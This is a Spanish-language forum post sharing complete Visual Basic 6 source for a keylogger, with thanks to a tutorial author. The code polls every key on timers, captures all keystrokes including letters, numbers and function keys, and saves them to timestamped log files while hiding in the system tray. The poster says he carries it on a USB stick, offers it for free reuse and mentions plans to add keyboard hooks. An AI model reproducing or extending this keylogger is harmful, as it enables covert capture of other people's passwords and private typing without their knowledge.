siempre agradeciendo a sharkl por el tutorial les dejo el codigo fuente al cual le agregue un par de cosas, aclaracion: la carpeta log se hace en el mismo directorio donde se encuentra el ejecutable porque lo llevo conmigo a todos lados en el pendrive
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Const VK_CAPITAL = &H14
Private Sub Command1_Click()
Me.WindowState = 1
End Sub
Private Sub Form_Load()
Dim fso As New FileSystemObject
If fso.FolderExists(App.Path & "\log") Then
TM.Enabled = True
Else
MkDir App.Path & "\log"
TM.Enabled = True
End If
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer
For i = 0 To 255
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
Case vbKeyShift: Text1.Text = Text1.Text & " [Shift] "
Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
Case vbKey0: Text1.Text = Text1.Text & "0"
Case vbKey1: Text1.Text = Text1.Text & "1"
Case vbKey2: Text1.Text = Text1.Text & "2"
Case vbKey3: Text1.Text = Text1.Text & "3"
Case vbKey4: Text1.Text = Text1.Text & "4"
Case vbKey5: Text1.Text = Text1.Text & "5"
Case vbKey6: Text1.Text = Text1.Text & "6"
Case vbKey7: Text1.Text = Text1.Text & "7"
Case vbKey8: Text1.Text = Text1.Text & "8"
Case vbKey9: Text1.Text = Text1.Text & "9"
Case vbKeyA: Text1.Text = Text1.Text & "A"
Case vbKeyB: Text1.Text = Text1.Text & "B"
Case vbKeyC: Text1.Text = Text1.Text & "C"
Case vbKeyD: Text1.Text = Text1.Text & "D"
Case vbKeyE: Text1.Text = Text1.Text & "E"
Case vbKeyF: Text1.Text = Text1.Text & "F"
Case vbKeyG: Text1.Text = Text1.Text & "G"
Case vbKeyH: Text1.Text = Text1.Text & "H"
Case vbKeyI: Text1.Text = Text1.Text & "I"
Case vbKeyJ: Text1.Text = Text1.Text & "J"
Case vbKeyK: Text1.Text = Text1.Text & "K"
Case vbKeyL: Text1.Text = Text1.Text & "L"
Case vbKeyM: Text1.Text = Text1.Text & "M"
Case vbKeyN: Text1.Text = Text1.Text & "N"
Case vbKeyO: Text1.Text = Text1.Text & "O"
Case vbKeyP: Text1.Text = Text1.Text & "P"
Case vbKeyQ: Text1.Text = Text1.Text & "Q"
Case vbKeyR: Text1.Text = Text1.Text & "R"
Case vbKeyS: Text1.Text = Text1.Text & "S"
Case vbKeyT: Text1.Text = Text1.Text & "T"
Case vbKeyU: Text1.Text = Text1.Text & "U"
Case vbKeyV: Text1.Text = Text1.Text & "V"
Case vbKeyW: Text1.Text = Text1.Text & "W"
Case vbKeyX: Text1.Text = Text1.Text & "X"
Case vbKeyY: Text1.Text = Text1.Text & "Y"
Case vbKeyZ: Text1.Text = Text1.Text & "Z"
Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
Case vbKeyAdd: Text1.Text = Text1.Text & "+"
Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
Case vbKeySubtract: Text1.Text = Text1.Text & "-"
Case vbKeyDecimal: Text1.Text = Text1.Text & "."
Case vbKeyDivide: Text1.Text = Text1.Text & "/"
Case vbKeyF1: Text1.Text = Text1.Text & "[F1]"
Case vbKeyF2: Text1.Text = Text1.Text & "[F2]"
Case vbKeyF3: Text1.Text = Text1.Text & "[F3]"
Case vbKeyF4: Text1.Text = Text1.Text & "[F4]"
Case vbKeyF5: Text1.Text = Text1.Text & "[F5]"
Case vbKeyF6: Text1.Text = Text1.Text & "[F6]"
Case vbKeyF7: Text1.Text = Text1.Text & "[F7]"
Case vbKeyF8: Text1.Text = Text1.Text & "[F8]"
Case vbKeyF9: Text1.Text = Text1.Text & "[F9]"
Case vbKeyF10: Text1.Text = Text1.Text & "[F10]"
Case vbKeyF11: Text1.Text = Text1.Text & "[F11]"
Case vbKeyF12: Text1.Text = Text1.Text & "[F12]"
End Select
End If
Next
End Sub
Private Sub TM1_Timer()
Dim canalLibre As Integer
canalLibre = FreeFile
Open (App.Path & "\log\") & "Dia" & " " & Format(Date, "ddmmyyyy") & " " & "a las" & " " & Format(Time, "hhmmss") & ".txt" For Output As #canalLibre
Print #canalLibre, Text1
Close #canalLibre
End Sub
Private Sub Form_Resize()
If (Me.WindowState = 1) Then
sysTray1.PonerSystray
Me.Hide
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
sysTray1.RemoverSystray
End
End Sub
Private Sub mnuSalir_Click()
Unload Me
End Sub
Private Sub sysTray1_MouseUP(Button As Integer)
If Button = vbLeftButton Then
If (Me.WindowState = 1) Then
Me.WindowState = 0
sysTray1.RemoverSystray
Me.Show
End If
End If
If Button = vbRightButton Then
Me.PopupMenu mnuOpciones
End If
End Sub
Private Sub TM2_Timer()
Dim i As Integer, x As Integer
For i = 0 To 255
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
Case vbKeyShift: Text1.Text = Text1.Text & " [Shift] "
Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
Case vbKey0: Text1.Text = Text1.Text & "0"
Case vbKey1: Text1.Text = Text1.Text & "1"
Case vbKey2: Text1.Text = Text1.Text & "2"
Case vbKey3: Text1.Text = Text1.Text & "3"
Case vbKey4: Text1.Text = Text1.Text & "4"
Case vbKey5: Text1.Text = Text1.Text & "5"
Case vbKey6: Text1.Text = Text1.Text & "6"
Case vbKey7: Text1.Text = Text1.Text & "7"
Case vbKey8: Text1.Text = Text1.Text & "8"
Case vbKey9: Text1.Text = Text1.Text & "9"
Case vbKeyA: Text1.Text = Text1.Text & "a"
Case vbKeyB: Text1.Text = Text1.Text & "b"
Case vbKeyC: Text1.Text = Text1.Text & "c"
Case vbKeyD: Text1.Text = Text1.Text & "d"
Case vbKeyE: Text1.Text = Text1.Text & "e"
Case vbKeyF: Text1.Text = Text1.Text & "f"
Case vbKeyG: Text1.Text = Text1.Text & "g"
Case vbKeyH: Text1.Text = Text1.Text & "h"
Case vbKeyI: Text1.Text = Text1.Text & "i"
Case vbKeyJ: Text1.Text = Text1.Text & "j"
Case vbKeyK: Text1.Text = Text1.Text & "k"
Case vbKeyL: Text1.Text = Text1.Text & "l"
Case vbKeyM: Text1.Text = Text1.Text & "m"
Case vbKeyN: Text1.Text = Text1.Text & "n"
Case vbKeyO: Text1.Text = Text1.Text & "o"
Case vbKeyP: Text1.Text = Text1.Text & "p"
Case vbKeyQ: Text1.Text = Text1.Text & "q"
Case vbKeyR: Text1.Text = Text1.Text & "r"
Case vbKeyS: Text1.Text = Text1.Text & "s"
Case vbKeyT: Text1.Text = Text1.Text & "t"
Case vbKeyU: Text1.Text = Text1.Text & "u"
Case vbKeyV: Text1.Text = Text1.Text & "v"
Case vbKeyW: Text1.Text = Text1.Text & "w"
Case vbKeyX: Text1.Text = Text1.Text & "x"
Case vbKeyY: Text1.Text = Text1.Text & "y"
Case vbKeyZ: Text1.Text = Text1.Text & "z"
Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
Case vbKeyAdd: Text1.Text = Text1.Text & "+"
Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
Case vbKeySubtract: Text1.Text = Text1.Text & "-"
Case vbKeyDecimal: Text1.Text = Text1.Text & "."
Case vbKeyDivide: Text1.Text = Text1.Text & "/"
Case vbKeyF1: Text1.Text = Text1.Text & "[F1]"
Case vbKeyF2: Text1.Text = Text1.Text & "[F2]"
Case vbKeyF3: Text1.Text = Text1.Text & "[F3]"
Case vbKeyF4: Text1.Text = Text1.Text & "[F4]"
Case vbKeyF5: Text1.Text = Text1.Text & "[F5]"
Case vbKeyF6: Text1.Text = Text1.Text & "[F6]"
Case vbKeyF7: Text1.Text = Text1.Text & "[F7]"
Case vbKeyF8: Text1.Text = Text1.Text & "[F8]"
Case vbKeyF9: Text1.Text = Text1.Text & "[F9]"
Case vbKeyF10: Text1.Text = Text1.Text & "[F10]"
Case vbKeyF11: Text1.Text = Text1.Text & "[F11]"
Case vbKeyF12: Text1.Text = Text1.Text & "[F12]"
End Select
End If
Next
End Sub
Private Sub TMBM_Timer()
If GetKeyState(VK_CAPITAL) = 1 Then
TM.Enabled = True
TM2.Enabled = False
Else
TM.Enabled = False
TM2.Enabled = True
End If
End Sub
sean libres de hacer y deshacer a voluntad, agradescan a sharkl y que les sea util, usa la ocx systray, por cierto, algo lei de los hook, voy a estudiarlo un poco y a meterle mano ver que sale